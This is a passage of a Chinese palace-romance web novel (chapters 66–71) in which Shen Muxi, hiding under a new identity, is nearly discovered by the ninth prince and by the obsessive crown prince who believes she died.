可能是安生日子过得久了吧,她越发贪恋这种安逸生活。
是以一点风吹草动,她都紧张得很。
薛宝莹可不管她那么多,她力气又大,根本不等沈木兮反驳,拉着她就往府外跑去!
……
整个青州城的女子,都在为皇子选妃之事轰动时。
无人注意,一辆马车,在那冬日暖阳下,缓缓行驶进了青州城内。
雪风里,一缕随风飘出的白发,在那耀眼里的艳阳里舞动,散发着神秘又魅惑的气息……
转瞬消失。
第66章 寻妃
那辆毫不起眼的马车,从城门驶来的同时,沈木兮正被薛宝莹拽着上了附近的酒楼看台。
得了消息的人,不止是薛家。
青州城虽是偏远,但有钱人也不少,此刻这处看台,早已被城中有钱有势人家的妙龄小姐们占据。
薛宝莹挤了许久才挤了进去。
可抬头一看,城门口什么也没有。
薛宝莹不禁失望地耷拉着脑袋。
还想来看看宫里的皇子,是怎样谪仙般的人物呢。
“人呢?该不会真是骗人的吧!”薛宝莹张望了许久。
沈木兮心想,哪有这样的事,京城里那么多的权贵小姐,放着不选,偏偏要怎会来这些地方寻妃?
旁边另外的小姐搭了句嘴:
“谁说骗人的,我家亲戚在隔壁邻县,说选妃的人马,其实早在一个多月前就从北下了,其他的几个城池,都已是一一去过。怕是没咱们这的姑娘好看,一个也没选中呢!”
薛宝莹听得眼睛放亮。
“原是如此啊!”
她越发有信心了,觉得自己这次肯定有机会极了!
却没看到,旁边已经呆若木鸡的沈木兮……
一路选妃而来?
沈木兮心中开始剧烈打鼓!
当初北辰殷给她安排的路线,便是去往南下。
她本是要去往江南的。
来到青州,属实是误打误撞。
不知为何,明明知道来的人不可能会是他,太子妃的人选,也绝对不会是偏远乡镇的人。
但那种已经快消失一年的窒息感!
还是再一次爬满她的周身,乃至每个毛孔和呼吸。
薛宝莹终于发现了沈木兮苍白的脸色,用手肘撞了撞她:“喂,你怎么了?往日你就不爱出门,不会刚出来见到这阵仗就被吓住了吧。”
真是没用。
沈木兮没说话,紧抿双唇。
身子还有点轻微颤抖。
薛宝莹是第一次见这样的她,她十分无语:“行了,看你这样子,别一会儿被吓死在这外头!算了,那就走吧,回去了!”
沈木兮有些意外,薛宝莹这么激动出来,居然愿意中途和自己离开?
薛宝莹有些受不了她那看着自己的古怪眼神,抿了抿唇,别开脸撇嘴说:“我可不是为了你!反正今日也看不到什么,还不如回去。”
“再说了,这些庸脂俗粉,怎比得过我。哪怕今日把第一个见皇子的机会让给她们,她们也抢不走我的位置。”
沈木兮扬眉。
没有戳破薛宝莹。
其实,这丫头也就是嘴皮子厉害,为人傲娇了些,凶是凶,但除了嘴巴输出,完全没有半点杀伤力。反而相处久了,越发觉得她生性单纯,没有城府。
就像刀子嘴豆腐心的欧阳氏一样。
寻常人都以为薛小七是欧阳氏身边的出气筒,才被欧阳氏留着。
只有她知道,欧阳氏当初在府中唯一的朋友,便是薛小七的姨娘。
不知为何,眼前这傲娇鬼薛宝莹,让沈木兮恍惚想起了自己那个远在京中的另一个好友。
只是一年过去,不知他如今怎样了呢?
上次帮着自己逃走,他有没有被牵连什么。
但如今连夜王都没被贬去沧州,想来北辰殷也应该无事的吧。
如此想着,沈木兮和薛宝莹下了酒楼,准备乘车回府。
她们出行是私下的,没有告诉给薛清,薛家庶女可以上桌吃饭,但不代表没有规矩,相反,薛家的规矩一向森严,她们这出来一趟,还是偷偷的。
是以不能太明目张胆,马车也停在了对面的巷子。
正准备去对面。
一辆从刚城门外驶来的马车,一时没注意到两人,差点撞了过来。
薛宝莹站稳后,当即跳脚。
“怎么驾车的,没看到人吗!”
这动静不少,瞬间吸引了附近的人。
被吓到的不止是她们,还有旁边的另外一对母子,小孩子被吓得跌在了地上哇哇大哭,沈木兮见可怜,蹲下身去扶。
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是以停靠在不远处拐角的另一辆车内,那暗光下挑起的阴鸷幽瞳,只看到了在那跳个不停的薛宝莹。
帘子随风飘落,掩盖了男人绝艳妖冶的侧脸,和那一缕灰白青丝
他嗓音魅惑暗哑,红唇似血,收回眸光撑着侧额,阴森又有种说不出的高贵,不像是人间之物:
“走。”
而另一边,同样掀开帘子往外看的北辰殷,也没有看到沈木兮。
他只是瞥了眼在车头处,跳起来指着自己叫骂不止的圆脸丫头。
一年不见,他似是清瘦了些,但也成熟了不少,俊脸上少了些稚嫩和单纯,轮廓变得清晰刚毅,眼神也比以往多了敏锐。
两人对视,薛宝莹见他没要道歉的意思,反而骂的更凶了!
“哑巴了吗你!你家人没教过你撞了人要道歉?”
见这纠缠着自己不放,把自己骂成孙子的这个青州女子,北辰殷眉心紧皱。
碰瓷的?
分明是她们突然从拐角绕出来。
北辰殷对着车夫递了个眼色,然后落下帘子。
车夫对薛宝莹道个不是,拿出一锭银子:“抱歉了。”
薛宝莹看着那银子,只觉得自己被羞辱了,更是怒不可遏!
抬头却见人家已经驾车走了。
这可把薛宝莹气得不行:“长得人模人样,没想到这么自大,谁要这破银子啊。”
她捡起银子就追着丢了过去,还真丢进了车窗,咣当一声砸中北辰殷的脑袋!
沈木兮实在无奈,看着四周围聚越来越多的人,上前拽住她:“姐姐,再不回去,父亲怕是要知道了。”
薛宝莹只好把火气压下,暗暗在心里发誓,下次再遇到这个家伙,肯定要加倍还回来。什么人啊!
两人紧赶慢赶,回去还是被发现了。
薛清早已坐在前厅,手中拿着公务卷宗一篇一篇翻阅,在外面两人跟贼一样猫着身子溜回后院时,头也不抬,声音冷冽。
“还不滚过来。”
第67章 议亲
沈木兮和薛宝莹对视,两人灰溜溜来到了前厅。
啪。
薛清丢下卷宗,抬起严厉冷眼看着自己这两个女儿。
“哼!胆子越来越大了,不仅私下出府,还在街上**。”
“回去禁足三天,哪里也不许去!”
沈木兮听着长舒口气。
京城来了人,不管来的是谁,她都巴不得不出门呢。若是可以,她甚至想找个深山老林钻进去。
所以她答应的很迅速,十分乖巧。
“是,女儿知错。”
却忘了身边这个猪队友。
“父亲!你偏心,为什么薛耀祖和他的姐姐,就可以随意出府,我们就不行?”
“再说了,大家都去城门看热闹,我们为什么要让旁人抢了这个机会?”
“机会?”薛清眯起眼,胡子都气得颤动,“你懂什么,有些身份,不是我等可以攀附得了的。”
况且这件事,本身就那么简单。
但他并不想在女儿跟前说得那么清楚,只扬声道。
“犟嘴,回去禁足十日!”
十日!那来青州的京中人怕是都走了吧。
她还怎么去见皇子?和人家来个美丽的偶然邂逅?
薛宝莹双眼通红,还想说什么,却被沈木兮拽了拽,她上前说:
“父亲,我们今日出府,并非是为了去看热闹,是母亲近日身子不好,夜夜失眠。姐姐和我才出去给母亲抓了一包药,偶然才撞上城门的动静。”
薛清的脸色这才缓和了些,蹙眉问:“你们母亲近日身子不爽吗?有没有请大夫。”
他这才想起,自己已经为了公务,在知府衙门快半个月没回来过了。
这一年来,府中闹出不少的事,青州衙门事情也不少,他作为父母官,时常不在家,说起来,也多亏欧阳氏在府中打点好一切,他才能安心在外。
“等夜里,我去看看你们母亲。好了,禁足五日,都下去吧。”
沈木兮呼出口气,带着还气呼呼的薛宝莹赶紧溜了。
心腹赵师爷走出来,看着沈木兮的背影,笑得意味深长。
“七小姐聪明睿智,和大人还真像。”
薛清没好气道:“像什么像,能少气我点都可以了。”
话虽这样说,但薛清的脸上却满是欣慰笑意。
本以为府中这么多丫头,没一个省心的。
没想到有个聪明孩子。
这一年来府中发生不少事,薛清都是看在眼中的。也只有自己那个心思单纯的发妻,才真以为是这青州旺她。
虽然很多事情,都有沈木兮在后背推波助澜的缘故,但也多是那秦姨娘咎由自取,怪不得她。
而这孩子也很明白,知道自己出身不高,不该争的不会去争,寻常无事,只会在院子里晒太阳,逗逗鸟。有时候还帮他管束着最不省心的嫡女。
是个贴心孩子。
不过今日的事,倒是给薛清提了个醒。
府中女儿们大了,是该议亲了。
至于那京城,薛清冷笑,乌烟瘴气之地,不去也罢。
这边。
离开前厅的薛宝莹,气了一路,还因为方才沈木兮拽着她离开,气得连她都不想搭理了。
“我的好姐姐,你生我的气可以,可别把自己气坏了,姐姐这花容月貌的小脸蛋,气出褶皱可如何使得?”
这话一说,薛宝莹赶紧一摸脸:“镜子呢,镜子呢!快拿来给我看看。”
沈木兮变戏法的拿出小铜镜:“姐姐看到了仙女,可就不能生我的气咯。”
薛宝莹看到镜子自己的脸,面颊一红,夺过镜子,娇哼一声。
“别以为这样,我就不生你气了。若这次被其他人抢了风头,成了皇子妃,我这辈子都不会再理你了!”
“姐姐为什么要执着于成为皇子妃?”
薛宝莹眼神闪烁:“你这么笨,当然不懂了。”
她样子略显失落。
“父亲的女儿众多,也不差我这一个,可母亲只有我一个。如今秦姨娘是没机会翻盘了,但薛耀祖到底是父亲的独子,今后的家业都是他的。”
她想保护母亲,就只有嫁个好人家。
在薛宝莹的世界里,没有能比天家更好的婆家了。
没想到自己千辛万苦想逃走的地方,竟是旁人费尽心思想进去的。
“姐姐想为母亲撑起一片天,不是非得嫁个好人家。”沈木兮散漫惯的神情,此刻有些认真。
薛宝莹很不理解的样子。
沈木兮明白,这样孑然独立的想法,是这些封建社会里长大的小姐一时半会儿无法明白的。
她又问:“姐姐当真想见皇子?”
薛宝莹点头如捣蒜!
“当然啦。”
沈木兮摸着下巴:“好,下次我想个法子。”
真皇子没有,假皇子还不容易找吗?
这薛宝莹心性单纯,真嫁去天家,怕是没几天活头。
那就让她提
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前知道知道,天家人的险恶,然后趁早收了这份心思。
她只要能消停,自己也能连带着“安全”。
沈木兮这头还在准备雇几个人演出一场戏,却没想到,薛清要给她们说亲的消息,已经先传去了薛宝莹的耳中。
薛宝莹一听说父亲要给她们定亲了。
哪里肯?
她是薛家最大的女儿,真定下,肯定是自己先嫁。
是以这才刚消停的没多久,又出事了。
小愿传消息过来时,沈木兮刚准备入睡。
说是三小姐听了说亲的事,方才偷偷从后门溜了出去,去了城里的宝月楼。
原来今日京中的人,的确来了。
只是不知来的是谁,又是否为皇子亲临。
但无论是谁,都是京中大人物,薛清作为一州知府,定要去亲自作陪。
今夜便包下了宝月楼的三楼,摆了宴席。
这薛宝莹也不知道从哪里听来的消息,现在已经朝着宝月楼去了。
沈木兮一拍大腿,这妮子简直是没一刻安宁。
“七小姐,怎么办,三小姐的性子,万一真去招惹出了祸事,可如何是好?”
说实在的,薛宝莹今夜即便出事,其实也不关沈木兮的事。
原本沈木兮还秉持着尊重他人命运的原则,可一坐下,她脑海中便冒出那傻丫头的身影。
低头一瞧。
桌上的茶盏器皿是薛宝莹大方让给她的。
杯子里的精贵茶叶,也是她从薛耀祖那抢来,偷偷让人拿来的。
还有那琉璃灯盏,翡翠屏风……
沈木兮:“……”
她站起身,就说不能太入戏嘛!这也是她顶替了这身份后一年来,默默告诉自己的话!
这傻乎乎的蠢丫头,没事跑去宝月楼做什么?
“小愿,给我更衣。”
“等等,再把我的妆容给改了。”
“啊?改成什么样,小姐你现在这样已经很美了呀。”小愿一脸单纯。
其实她们丫鬟们私下都在说,府中看起来最漂亮的是三小姐,但深居简出的七小姐更绝色,特别是那一双眼睛,晶亮亮的,生得最好看,身上还有一种旁人没有的女人风韵,像是一块儿被娇养着的宝玉。
沈木兮语出惊人:“什么美!我要有多丑改多丑。”
“啊?!”
鬼知道今夜那宝月楼里有怎样的牛鬼蛇神,她就算去也得做好准备!
“快去快去。”
第68章 她早就**,怎会是她?
乔装完毕的沈木兮,来到宝月楼,已经快半个时辰后了。
不知道薛宝莹怎么样,但现在见宝月楼依旧热闹如常,没什么大事发生的样子,想来她还没闹出乱子。
沈木兮的目标很明确,只想把人逮住赶紧回去。
一刻都不会在这里多逗留。
和得来的消息一样,三楼正被人严防死守,连楼道口都站着不少身穿便装的守卫。
别说是人了,怕是连只蚊子都放不进去。
薛宝莹怕是进不去的。
但同时也间接表明,这次来青州的人,身份不一般。
沈木兮正松口气,没想到抬头一看,那边从二楼过去,端着拖盘的一行酒楼伙计里,有个人影,竟是出奇的眼熟!
她再看!
确定那混入其中,垂着头,走路小心翼翼的人是谁。
沈木兮都要跳脚了。
乖乖的,往日也没见薛宝莹这么聪明,还晓得假扮成伙计潜入。感情她的智商都用在了这些方面。
眼见着她要上三楼了,沈木兮赶紧跑过去阻拦。
不想和从拐角出来,同样要上楼的人撞了个正着。
两人迎面相撞。
沈木兮心中着急,也没顾着对方是谁,却听得一道熟悉的声音。
“你!”
沈木兮闻声,脸色顿时就变了。
转头对上那张正惊讶盯着自己的熟悉俊脸,她先是惊讶,随后第一个反应就是转过头去!
等反应过来,她才想起自己今夜出门是改过妆容的,为了怕人认出,还点了不少麻子在脸上,怕是亲娘来了都认不出。
果真,在一瞬的震惊和怔愣后,北辰殷捕捉到眼前之人那“陌生”的脸,眼底的亮色,转瞬消失。
方才那熟悉的撞击,不由让他回想起当初在猎林和她的相遇。
可是,她再也不会出现了。
回想起了什么,北辰殷眼底多了几许落寞和沧桑。
她**。
他亲眼看到山坳里她的尸体,不仅仅是他看到了,还有……北辰殷抬头看去三楼方向,什么也没说,也没有再搭理眼前的“陌生”女子,抬步上了楼道。
听到他转身上楼,沈木兮抬起头,偷偷侧头看去他那熟悉又多了几分陌生的背影,眼圈微微发红,却又在笑。
北辰殷,好久不见啊。
所以薛宝莹的小道消息不是谣传,真的有皇子来青州选妃?竟就是他吗?
一年未见,他好像比之前成熟了不少,不再是那个只知道嘻嘻哈哈的小皇子,眼神里多了他才懂的忧愁。
果真啊,皇城那个地方,是会**的。
谁在那里,都会被吃得个“干净”。
那么,他呢……他又好不好……
沈木兮神色微僵,把心头那些不该生出的心思丢开,现在的要紧之事,是为了找到薛宝莹!
可是,方才送东西的那些伙计已经上了三楼,沈木兮想追也追不到了。
她的眼神,再次落在楼道上的人身上。
在北辰殷要上三楼的档口,她飞奔跑来,屁颠屁颠跟在他的身后,粗着嗓音道:“公子,我没把你撞伤吧?”
沈木兮将他胳膊抬起,左看看右看看。
“不行不行,公子,方才是我疏忽,这件事不能这样算了。你看看,是我赔你医药费,还是上去后,我亲自给你验伤?”
北辰殷:“……”
两人说着就走到了三楼。
守卫一见北辰殷,正要放行,可瞅着旁边还跟着个人,想说什么。
沈木兮已经先义正言辞地出声道:“没看到公子受伤了吗?都快让让,让让!”
“哎呀公子,快到房间里,别真的出事了,那就是我的罪过了。”
就在沈木兮以迅雷不及掩耳之势,要混进三楼的档口时!
北辰殷突然出声:“等等。”
哎哟喂,才一年功夫,臭小子好像变聪明了不少,没那么好拿捏了。
北辰殷的眼神落在沈木兮身上,又看了眼旁边眼神古怪,正在等着自己发话的守卫。
“去给本公子请个好点的大夫来。”
沈木兮有点意外他愿意配合自己,忍不住多看了北辰殷一眼,又担心被他认出,赶紧垂下头去。
守卫当即派人去了。
等到了三楼楼道,沈木兮准备找个由头溜之大吉时。
便听得身后的男人说。
“真以为我看不出来吗,你藏得真深!”
沈木兮身子一僵。
她有这么明显吗?
沈木兮掰着手指头,像是做错事的孩子,转过身去:“北辰殷,我……”
“哼,本皇子知道自己风华绝代,名声在外,你青睐本皇子也不意外。但我想说,你不是我喜欢的类型,还是收了你的那些心思了,今后别再费尽心思接近我了。”
“方才我没有在守卫跟前揭穿你,便是看在你是个女子的份上,你走吧!”
“……”
真以为他聪明了,没想到,还是那个北辰殷。
不愧是他。
沈木兮很配合的把这出戏演了下去,伤心的擦起了眼角:“是,我知道了,民女打扰皇子了。”
听她在身后哭得厉害,北辰殷虽然不耐烦,但也有几分不忍,想了想,还是打算安抚一两句,转过身,身后哪里还有人影。
溜得比狗还快
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。
北辰殷嘴角抽了抽,正欲离开,他余光瞥着地上掉落的一个东西。
上前捡起的瞬间,他的脸色变了,瞳孔骤缩,手也有点轻微发颤……
猛地抬头看去四周!
双唇抖动,眼神里充斥着震惊,和不敢置信……
另一边,离开的沈木兮,溜到了楼道后的位置。
可几番寻觅,都没找到薛宝莹。
不会真去了宴会现场吧。
沈木兮心中盘算着自己能把人从那里解救出来的可能性,以及要么自己现在就直接跑路……
后方,三楼一个狭小的房间里,传来窸窸窣窣的声音,隐隐还有骂语。
“方才我就发现这伙计不对劲,果真是个女人。”
“呲!该死的娘们,居然还咬人……”
沈木兮循声过来,那小小的杂物间里,薛宝莹正被另外两个高大的伙计堵在角落,脸色苍白。
“你们知道我是谁吗,我可是……!”估计是觉得自己太给薛清丢脸了,薛宝莹一咬牙,把要说出来的话咽了回去,又道,“我有银子,你们要多少银子我都给,能不能把我放了?若是不够,我还可以回家给你取!”
听说她身上还有银子,几人脸上顿生满脸歹意。
沈木兮心中暗骂薛宝莹个猪脑子!
在那两人伸手要去扒拉薛宝莹的衣服时,门被踹开,一盆凉水被泼了进来。
沈木兮丢了盆子,乘其不备,抓起薛宝莹就往外走!
“快走啊!”
薛宝莹看到她的“丑”脸,先是一个愣怔,直到听到她的声音,这才认出她:“是你!”
也不知是真觉得丢**了,还是感动,知道是沈木兮来救了自己,薛宝莹方才在那两人跟前都强忍着没哭,现在却是蓦地红了眼。
身后的两人已经追了过来,沈木兮没时间和薛宝莹多废话,指着前面的方向。
“你去那边,我把那些人引开。”
薛宝莹惊讶道:“那你怎么办?”
那两人高大健硕,她怎么打得过。
“那是我的事,你快走!哎呀,再不走,我岂非今夜白来救你了!”
薛宝莹还要说什么,沈木兮已经推了她一把,转身带着那些人跑去了另外的地方!
沈木兮本想把事情闹大点,惹来那些守卫的注意,把这些人吓跑。
可还没引来人,自己却被追到了一个死角。
前面是楼道的最里间,左右没有多余的路了。
后面的脚步声逼近,沈木兮没办法,只能推开旁边房间的门,一骨碌溜了进去。
同一时刻,屋内帐帘下男人的妖冶眸子,也倏地睁开。
第69章 蓄谋已久
其实在沈木兮进入这间屋子时,就感觉到了不对劲。
这是个很寻常的雅间,燃着明亮的灯火,檀香袅袅。甚至还有取暖的炭盆。
可她却感觉不到一丝暖意。
就好像,她一只脚已经迈进了那黑暗不见底的深渊寒窟!
而在身后,有一只蓄满已久的魔爪,正在朝着她伸来……
这种感觉,好熟悉……
沈木兮打了个久违的冷颤!
一年的安逸生活,差点就让她忘了这种无形坠落的可怕滋味!
明明她什么也没看到,都不知屋子里的人是谁!甚至这一瞬,只是那一种感觉而已。
可那种要人命的酥麻感,还是从脚底心蔓延至了她的全身!
浑身僵硬,她几乎不敢回头了。
唯一的想法,就是逃!
可那些追来的人,此刻还在门外逗留。
就在沈木兮焦头烂额时,一道意外的声音,从旁响起:“小七?怎么是你。”
沈木兮眼睛一亮,从来没这么高兴,自己能够听到薛清的声音!
薛清从旁边走出来,他没并没有看到沈木兮的脸,只看到了身上的衣服,因为这是她今日穿的那身,这才认出了她。
“你跑来这做什么?不知道为父今日在宝月楼和贵人议事吗。”
薛清轻声斥责着,转过身双手高高拱起,对着帘子后的男人抱歉地道。
“殿下,小女愚昧,走错了房间,误惊扰了您,还请殿下息怒。”
殿……殿下!
两个字,在她刚脑海中乍响!
几乎快压垮了她的背脊!
就在她还抱着那一份的侥幸时,毕竟被尊称为殿下的人,可不止那一个……!
却听得帘后,那撑额侧躺的男人扬唇轻笑说。
“哦?这是薛大人的女儿,叫什么名字。”
是那熟悉,却又陌生至极的声音!
熟悉!是因为这一只牢牢印在她记忆里!
陌生!是那含笑的拖长腔调!完全不是以她原本回忆中的样子。
高贵,疏离。
即便是笑着的,也带着一种压迫。
不仅仅是气场的压迫。而是级别,地位的压迫!
重重压着沈木兮的背脊,让她抬不起头。
“这是下官的小女儿,叫小七。”薛清偏头看来,对着身子已经僵住的沈木兮道,“小七,还不过来给殿下见礼赔罪。”
沈木兮许久才努力平静下自己的剧烈震动的心!
同时也在提醒着自己!
她已经逃了,逃了!
换了新的身份!
况且今夜连北辰殷正面看着她,都没认出自己,眼下还隔着一道帘子,他又怎会识出自己呢。
她暗暗吐出一口气,挪动身躯,来到薛清身旁。
看到她今夜脸上的妆容,薛清显然一愣,眉心一皱,这丫头……但因着贵人在场,他没有多说什么,只咳嗽着催促她。
沈木兮乖乖见礼:“民女薛小七,见过殿下。”
她和之前在北辰殷跟前时一样,刻意压低着声音。
帘子后的男人,仿佛并没有发现什么异样,轻嗯了声,和薛清说起了其他的事。
“青州城美景宜人,薛大人真会找地方。”
薛清忙陪笑说:“殿下说笑了,青州偏远,又地处南下边缘交界,哪里有京城热闹。”
两人在那说着,仿佛沈木兮不存在一般。
趁着无人注意自己,她微微抬起头,看去了帘子后……
可惜,眼前的阻隔除了纱帘,还有垂落晃动的珠子,根本看不清里面男人如今的模样。
只隐隐知道,那个坐靠在里面,姿态高贵,撑着侧额的身影。
风刮起轻纱帘子时,朦胧可见男人那正微微勾起的如血红唇。
她幻想过无数次会和他的“重逢”,却从未想过,会是在这样的场景下。
他已经成了高高在上的太子之尊。
虽然没看到人,但她能够感觉到,里面的男人,是和曾经自卑胆小,总是躲在黑暗里的谢景愿,完全不一样的他。
即便最后的“结果”并非她最初所愿,可她曾经的努力,也并没有白费。
自从太子回宫,便从未听过太子为人疯魔,随意滥杀无辜的事迹。
反而多是对当今太子的夸赞。
沈木兮虽然久居后宅,鲜少出门,
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但不代表她什么也不知道,什么也没打听过。
还是很欣慰的。
这番偷偷的看着…看着……沈木兮的鼻子有点发酸,她掩下泛红的双眼。
知道他如今很好,她也就放心了。
相逢必有离别时,再见已是陌路人。
“小七,为父还有事,你先回去。”薛清的声音让沈木兮回了神。
沈木兮闻言如蒙大赦,点点头,迫不及待地赶紧走了!
而这时,帘子后,那除了一开始问过她名字外的高贵男子,却在这时突然开口。
“等等。”
帘子后的人影坐直身子,一截白发顺着他绝伦下颚垂落而下,更显得他红唇如点了鲜血!
沈木兮步子僵住,即便没有转身去看,她也能感觉到他此刻那正直勾勾落在自己身上的眸光!
仿佛要把她盯出个洞来。
她手心瞬间浸满了汗!
“薛小姐,你的东西好像掉了。”他轻缓悠长地说着。
字句里那一丝未加掩饰的冷漠,让她微微安下心来。
沈木兮一愣后低头看去,地上果真落了个自己的荷包。之前没注意,怎么荷包上的吊坠也没了?
但也幸好,那吊坠是自己以前的物件,若一起掉在这,肯定会被他发现的。
她赶紧捡起来。
“谢过殿下提醒。父亲,您和殿下继续商讨事情,我回去了。”
她逃似的跑开了。
走到了外面,才大喘一口气!
以为自己终于渡过了最难的那一劫!殊不知,在她转身离开时,那一道藏在黑暗里的阴鸷暗光,一直烙印在她的背影之上!
像是藏匿在深山里的猛兽。
蓄满已久。
终于等到了猎物的“主动”出现……
……
外面,还沉浸在劫后余生中的沈木兮,总算是松口气了。
她可不敢在此多逗留,想着薛宝莹应该已经出去了,她也准备赶紧离开此处!
这宝月楼,邪气的很,她可不会再来了!
没想到刚动身要离开。
一道吼声从她身后响起,像是要吃了她!
“我就知道是你!!”
第70章 人,会死而复生吗?
沈木兮欲抬起的步子还在空中,差点被吓得一个激灵。
她怎么忘了这小子。
沈木兮好不容易逃得一条“生路”,哪里还敢在应声!
脚底抹油似的,直接跑!
三两下跑出了宝月楼,来到外面的小巷子里。
终于能喘口气时,却被人从后面一把抓住!
“沈木兮!你跑啊!”
沈木兮身子一抖,在心中哀叹一声,随后转过身去:“对不起,北辰殷……我……”
方才就听到他怒火熊熊的。
沈木兮以为,是自己方才故意没暴露身份,还利用了他,这小子才生气的。
可抬头一看,却发现眼前的人,双眼通红!
他的眼里除了暴怒,更多的,却是……激动,和大喜?!
怎么回事。
他不是知道自己南下了吗,还是他送她来的,虽然半路上出了岔子,但也不至于重逢反应这么大吧。
下一刻,北辰殷一把抱住她!
就好像她下一秒就要不见了似的。
“真的是你!该死,我就知道,你这个祸害遗千年,怎会那么容易就死掉!我好蠢,好蠢!”
他还捶了捶沈木兮的肩头,好像在发气。
什么死掉?
沈木兮听得一个脑袋两个大。
“北辰殷,你到底在说什么……”
北辰殷怒极:“还问我呢,你自己做的什么你不知道!我真以为你把我当朋友,没想到,你把我都骗了,那具尸体,是不是你早就准备好的?”
“小爷脾气好,你骗骗我倒是没什么,可要是被那个人知道,你居然还活着,他怕是……”
想当初,他看到那具尸体时的反应和后面发生的事……即便都过去了一年,北辰殷到现在回想起来,都觉得背脊发凉!
起初,看到“沈木兮”的尸体时,他和自己一样,是无比震惊的。
北辰殷当时已经打算把尸体,找块儿风水宝地掩盖掉了。
毕竟尸体已经过了几日,再不埋,怕是就要臭了……
可不曾想,他居然一点也不嫌弃,就那样把尸体抱了回去。
放在自己的寝殿中!
无人知道他把尸体带回去后做了什么,也无人敢问。
毕竟连父皇,都有些“惧怕”这个新回宫的太子。
只是父皇的惧怕里,过多的是愧疚。
而旁人是真正的畏惧!
直到后来,北辰殷偷看到,他将那尸体放在床前,和自己同睡!还亲手给尸体簪花梳妆……整整有七日!
北辰殷是第一次见这样的疯子。
但他也理解,毕竟是他的“养母”,舍不得,也是正常的。
可后来,不知怎的,他像是发疯了一样,突然把那具他“宝贝和珍藏”的尸体烧了,连骨头渣也不剩!
而那一夜,东宫殿宇伏尸数百,尸骸遍地!
只是这些事情被掩盖了,除了他,还有一些宫中的人。外面无人知晓!
北辰殷从那时起,才恍然明白,原来,他是如此恨她的,因为恨,竟连一具尸骨都容不下。
“不好!”想起什么,北辰殷脸色巨变,“你快走,他现在就在这宝月楼,千万别被……呃!”
“什么人!快放开我家小七!”
咚的一声。
一闷棒子敲向北辰殷后脑勺!
沈木兮:“?”
北辰殷捂住脑袋,瞪大眼睛指着身后出现的女子,隐隐只觉得这张脸,好像有那么几分面熟:“你……!”
随后他闷哼一声瞬间倒地。
薛宝莹这是第一次伤人,当然是被吓得丢开了木棍:“完了,他是不是**!”
她打了个哆嗦,拽起正要蹲下身查看的沈木兮。
“小七,快跑啊!”
“可北辰殷……他……”
他刚刚好像有什么话,很着急地要告诉自己。
可薛宝莹的速度却是很快,带着沈木兮眨眼就消失在了街巷里。
夜,越来越深。
等北辰殷醒来时,他已经被自己的随身奴才发现,从巷子口带回了宝月楼。
醒来时,后脑勺还传来了一股子刺痛,伴随着昏迷前的记忆,他清醒后便下意识低呼出了一句:“沈木兮,你快跑啊!”
可抬头,却是迎上了一双镶嵌在黑暗里的幽深阴冷眸子。
他正坐在黑暗里,仿佛是黑暗的主人。
北辰殷吓着了,话语登时止住,几乎是下意识地咽了口唾沫。
“醒了。”前面暗光下,坐着的男人抬起眼尾,目光在他身上细细逡巡着,“你方才,是在唤着谁的名字?”
“没,没有。我只是做了个梦。”
北辰殷怎么也想不到,眼前这个人,这个他见过无数次的人,居然会是后宫传闻里,父皇流落在外的太子。
其实他早就该想到了。
从第一次见谢……不,是北辰景时起,便该知道,他并非池中物。
微光下,一身松垮玄袍的北辰景,缓缓起身,来到榻
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前,居高临下地睨着他:“你今夜,见到谁了。”
北辰殷眼神闪烁。
“我没有。你想多了,我真的只是做了一个梦。她早就**,你不是知道的吗?尸体是我和你一起看到的,惨死在了那山坳中。”
其实当时还有很多细节。
比如,他抱着她“尸体”时,那冰冷无助颤抖的身子,和他眼角的泪。
若非自己亲眼看到,后来是他亲手毁了那具尸骸,连着那具被烧毁的尸骸,也被挂在城楼上许久……可能北辰殷现在都不敢相信,在往日那冷漠和不善言辞的少年外面下,他是这样一个冷血又狠辣的人!
那就更不能让他知道,她还活在这个世间了。
北辰景笑了笑,黑暗里,他那笑意轻蔑未达眼底。
他以前不喜欢笑,人前总是阴气十足。
现在他时常笑。
可如今的每一次笑,都更让北辰殷觉得头发发麻。只觉如今比他以前的样子,还要更可怕百倍。
“好好养身子吧。”
“知道自己该做什么,我想在宫里的柔妃,可不想你在外面出了什么事吧。”
北辰殷抓住被褥,紧抿双唇,一句反驳的话也没有说出。
是的,他如今,已经被迫成了太子的人。
北辰景一回宫,就发生了诸多事。
虽然在外,他从未表现出什么野心,甚至在夜王出事的时候,还出面力保。
但北辰殷知道,他的野心,早就刻画进了他的骨子里,如眼前这团黑暗一般,足以吞噬掉所有烟云。
他还有预感,他的的野心不止于此!
……
离开了北辰殷的房间,北辰景站在宝月楼的顶层的扶栏边。
在这里,他可以俯瞰青州城的所有。
包括薛家。
他五官冷艳妖冶,衣袍随风飞舞,如融入进了黑夜里。
若非那一缕白发飘摇,当真像是一座精美的雕塑。
旁边,一道穿着黑衣劲装的人走出,恭敬地对着他说:“太子,九皇子不会平白出现在那巷子里,要不要再去查查。”
九皇子如今因为柔妃,不得不被太子驱使。
但他以前到底是和夜王交往至深,夜王现在没机会去沧州,继续他的蛰伏大业,但不代表他在京中不会有大动作。总之,不得不防啊。
可身侧的男人,却是扬起那染血朱唇,看着薛家的方向,问了一句。
“离阙,你相信,人会死而复生吗。”
第71章 你为什么要丢下我
这一句不明不白的话,让离阙微得愣住。
他同样看向了黑夜下薛家的方向,再回头看去北辰景阴暗带笑的幽眸,不禁觉得有几分渗得慌。
“这个……属下……”
这世间,怎会有人死而复生呢。这不是荒谬吗。
但他知道这不是太子想要的答案。
北辰景的确没等他的回答,又好像方才那句问话,只是对自己说的。
在那段他最厌恶的时光里,于她在江州几年的相处,每个日夜里的窥探。
他记得她的每一寸肌肤纹路,数清过她的每一根头发丝。
甚至连她的呼吸,以及入梦后的每次藏在被褥下的嘤咛,都记得一清二楚。
当初那具尸体,被找到时就已经破损严重。
除了能看清脸,什么也看不出来。
人当然是不会死而复生的。
但也有另一种可能……
北辰景只是看着薛家里唯一灯火通明的那个角落,笑得如深夜里,会**的美艳厉鬼……
与此同时,半夜时分,薛家唯一有亮光的屋中。
沈木兮正在给薛宝莹上药。
薛宝莹一边呼痛,一边还在那骂骂咧咧,显然方才一棍子下去,还没把她给打爽。
“下次再见到那小子,我非得扒了他的皮!”
“还有你,先前救我的时候,不是挺厉害的。怎么还被人胁迫到了巷子,也不知道跑?”
沈木兮真想拿着纱布堵住她的嘴。
不过她并没有解释。
薛宝莹既然误以为是如此,那就由着她吧。
说多错多,若被知道她和京城中人的关系,继而发现她不是薛小七,不仅仅暴露身份,怕是连去处都没了。
